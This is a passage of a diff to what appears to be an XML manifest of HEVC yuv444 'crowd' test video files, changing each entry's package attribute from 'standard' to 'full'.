-    <value>mime=video/hevc,size=89876,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17799000,package=standard</value>
+    <value>mime=video/hevc,size=89876,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17799000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=89877,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17799000,package=standard</value>
+    <value>mime=video/hevc,size=89877,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17799000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=89878,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17799000,package=standard</value>
+    <value>mime=video/hevc,size=89878,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=17799000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=102462,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13533464,package=standard</value>
+    <value>mime=video/hevc,size=102462,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13533464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=102463,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13533464,package=standard</value>
+    <value>mime=video/hevc,size=102463,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13533464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=102464,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13533464,package=standard</value>
+    <value>mime=video/hevc,size=102464,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=13533464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=110977,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11000400,package=standard</value>
+    <value>mime=video/hevc,size=110977,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11000400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=112393,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11141896,package=standard</value>
+    <value>mime=video/hevc,size=112393,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11141896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=112394,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11141896,package=standard</value>
+    <value>mime=video/hevc,size=112394,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11141896,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=123895,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9832720,package=standard</value>
+    <value>mime=video/hevc,size=123895,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9832720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=123896,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9832720,package=standard</value>
+    <value>mime=video/hevc,size=123896,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9832720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=129700,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8580128,package=standard</value>
+    <value>mime=video/hevc,size=129700,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8580128,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=129512,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8568064,package=standard</value>
+    <value>mime=video/hevc,size=129512,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8568064,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=135180,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7666856,package=standard</value>
+    <value>mime=video/hevc,size=135180,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7666856,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=141266,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8015480,package=standard</value>
+    <value>mime=video/hevc,size=141266,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8015480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=139111,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6904448,package=standard</value>
+    <value>mime=video/hevc,size=139111,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6904448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=145328,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7216448,package=standard</value>
+    <value>mime=video/hevc,size=145328,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7216448,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=157909,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6973600,package=standard</value>
+    <value>mime=video/hevc,size=157909,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6973600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=176552,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7021480,package=standard</value>
+    <value>mime=video/hevc,size=176552,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7021480,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=186732,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6752904,package=standard</value>
+    <value>mime=video/hevc,size=186732,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6752904,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=196611,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6519064,package=standard</value>
+    <value>mime=video/hevc,size=196611,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6519064,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=206853,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6332368,package=standard</value>
+    <value>mime=video/hevc,size=206853,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6332368,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=211148,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6002656,package=standard</value>
+    <value>mime=video/hevc,size=211148,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6002656,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=223164,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5922800,package=standard</value>
+    <value>mime=video/hevc,size=223164,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5922800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=199311,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4956200,package=standard</value>
+    <value>mime=video/hevc,size=199311,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=4956200,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=65308,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=515640,package=standard</value>
+    <value>mime=video/hevc,size=65308,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=515640,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=65319,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=515720,package=standard</value>
+    <value>mime=video/hevc,size=65319,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=515720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=65319,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=515720,package=standard</value>
+    <value>mime=video/hevc,size=65319,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=515720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=65320,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=515720,package=standard</value>
+    <value>mime=video/hevc,size=65320,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=515720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=80230,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15869800,package=standard</value>
+    <value>mime=video/hevc,size=80230,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15869800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=80241,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15871800,package=standard</value>
+    <value>mime=video/hevc,size=80241,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15871800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=80241,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15871800,package=standard</value>
+    <value>mime=video/hevc,size=80241,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15871800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=80242,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15871800,package=standard</value>
+    <value>mime=video/hevc,size=80242,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=15871800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=91426,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12061864,package=standard</value>
+    <value>mime=video/hevc,size=91426,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12061864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=91426,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12061864,package=standard</value>
+    <value>mime=video/hevc,size=91426,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12061864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=91427,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12061864,package=standard</value>
+    <value>mime=video/hevc,size=91427,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=12061864,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=101404,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10043000,package=standard</value>
+    <value>mime=video/hevc,size=101404,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10043000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=99461,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9848696,package=standard</value>
+    <value>mime=video/hevc,size=99461,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9848696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=99462,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9848696,package=standard</value>
+    <value>mime=video/hevc,size=99462,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9848696,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=109166,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8654400,package=standard</value>
+    <value>mime=video/hevc,size=109166,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8654400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=109167,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8654400,package=standard</value>
+    <value>mime=video/hevc,size=109167,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8654400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=126447,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8363264,package=standard</value>
+    <value>mime=video/hevc,size=126447,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8363264,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=114291,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7553328,package=standard</value>
+    <value>mime=video/hevc,size=114291,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7553328,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=134873,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7649312,package=standard</value>
+    <value>mime=video/hevc,size=134873,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7649312,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=124298,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7045880,package=standard</value>
+    <value>mime=video/hevc,size=124298,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7045880,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=142249,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7061344,package=standard</value>
+    <value>mime=video/hevc,size=142249,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7061344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=127306,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6315344,package=standard</value>
+    <value>mime=video/hevc,size=127306,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6315344,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=137967,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6087288,package=standard</value>
+    <value>mime=video/hevc,size=137967,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6087288,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f10_gop8.mp4">
     <value>mime=video/hevc,size=407106,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16243600,package=full</value>
@@ -23139,262 +23139,262 @@
     <value>mime=video/hevc,size=529256,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=13204800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=163563,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1301672,package=standard</value>
+    <value>mime=video/hevc,size=163563,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1301672,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=163573,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1301752,package=standard</value>
+    <value>mime=video/hevc,size=163573,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1301752,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=163573,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1301752,package=standard</value>
+    <value>mime=video/hevc,size=163573,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1301752,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=163575,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1301752,package=standard</value>
+    <value>mime=video/hevc,size=163575,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1301752,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=198320,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39487600,package=standard</value>
+    <value>mime=video/hevc,size=198320,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39487600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=198330,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39489600,package=standard</value>
+    <value>mime=video/hevc,size=198330,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39489600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=198330,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39489600,package=standard</value>
+    <value>mime=video/hevc,size=198330,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39489600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=198332,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39489600,package=standard</value>
+    <value>mime=video/hevc,size=198332,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=39489600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=226209,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=30032928,package=standard</value>
+    <value>mime=video/hevc,size=226209,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=30032928,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=226209,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=30032928,package=standard</value>
+    <value>mime=video/hevc,size=226209,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=30032928,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=226211,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=30032928,package=standard</value>
+    <value>mime=video/hevc,size=226211,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=30032928,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=243424,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24245000,package=standard</value>
+    <value>mime=video/hevc,size=243424,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24245000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=247302,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24632800,package=standard</value>
+    <value>mime=video/hevc,size=247302,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24632800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=247304,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24632800,package=standard</value>
+    <value>mime=video/hevc,size=247304,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24632800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=273262,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21782080,package=standard</value>
+    <value>mime=video/hevc,size=273262,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21782080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=273264,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21782080,package=standard</value>
+    <value>mime=video/hevc,size=273264,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21782080,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=296834,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19722400,package=standard</value>
+    <value>mime=video/hevc,size=296834,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19722400,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=288204,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19147464,package=standard</value>
+    <value>mime=video/hevc,size=288204,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19147464,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=316230,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18012568,package=standard</value>
+    <value>mime=video/hevc,size=316230,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18012568,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=314411,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=17909424,package=standard</value>
+    <value>mime=video/hevc,size=314411,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=17909424,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=334215,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16659648,package=standard</value>
+    <value>mime=video/hevc,size=334215,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16659648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=327140,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16307000,package=standard</value>
+    <value>mime=video/hevc,size=327140,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=16307000,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=357305,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=15835600,package=standard</value>
+    <value>mime=video/hevc,size=357305,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=15835600,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=26482,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1018720,package=standard</value>
+    <value>mime=video/hevc,size=26482,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1018720,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=28602,width=640,height=360,frame-rate=50,profile=,level=,bitrate=918800,package=standard</value>
+    <value>mime=video/hevc,size=28602,width=640,height=360,frame-rate=50,profile=,level=,bitrate=918800,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=29675,width=640,height=360,frame-rate=50,profile=,level=,bitrate=880768,package=standard</value>
+    <value>mime=video/hevc,size=29675,width=640,height=360,frame-rate=50,profile=,level=,bitrate=880768,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=30218,width=640,height=360,frame-rate=50,profile=,level=,bitrate=833256,package=standard</value>
+    <value>mime=video/hevc,size=30218,width=640,height=360,frame-rate=50,profile=,level=,bitrate=833256,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=31569,width=640,height=360,frame-rate=50,profile=,level=,bitrate=813624,package=standard</value>
+    <value>mime=video/hevc,size=31569,width=640,height=360,frame-rate=50,profile=,level=,bitrate=813624,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=31488,width=640,height=360,frame-rate=50,profile=,level=,bitrate=760648,package=standard</value>
+    <value>mime=video/hevc,size=31488,width=640,height=360,frame-rate=50,profile=,level=,bitrate=760648,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=12599,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93968,package=standard</value>
+    <value>mime=video/hevc,size=12599,width=640,height=360,frame-rate=1,profile=,level=,bitrate=93968,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=12609,width=640,height=360,frame-rate=1,profile=,level=,bitrate=94048,package=standard</value>
+    <value>mime=video/hevc,size=12609,width=640,height=360,frame-rate=1,profile=,level=,bitrate=94048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=12609,width=640,height=360,frame-rate=1,profile=,level=,bitrate=94048,package=standard</value>
+    <value>mime=video/hevc,size=12609,width=640,height=360,frame-rate=1,profile=,level=,bitrate=94048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=12610,width=640,height=360,frame-rate=1,profile=,level=,bitrate=94048,package=standard</value>
+    <value>mime=video/hevc,size=12610,width=640,height=360,frame-rate=1,profile=,level=,bitrate=94048,package=full</value>
   </entry>
   <entry key="hevc/yuv444/8bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=15399,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2903600,package=standard</value>
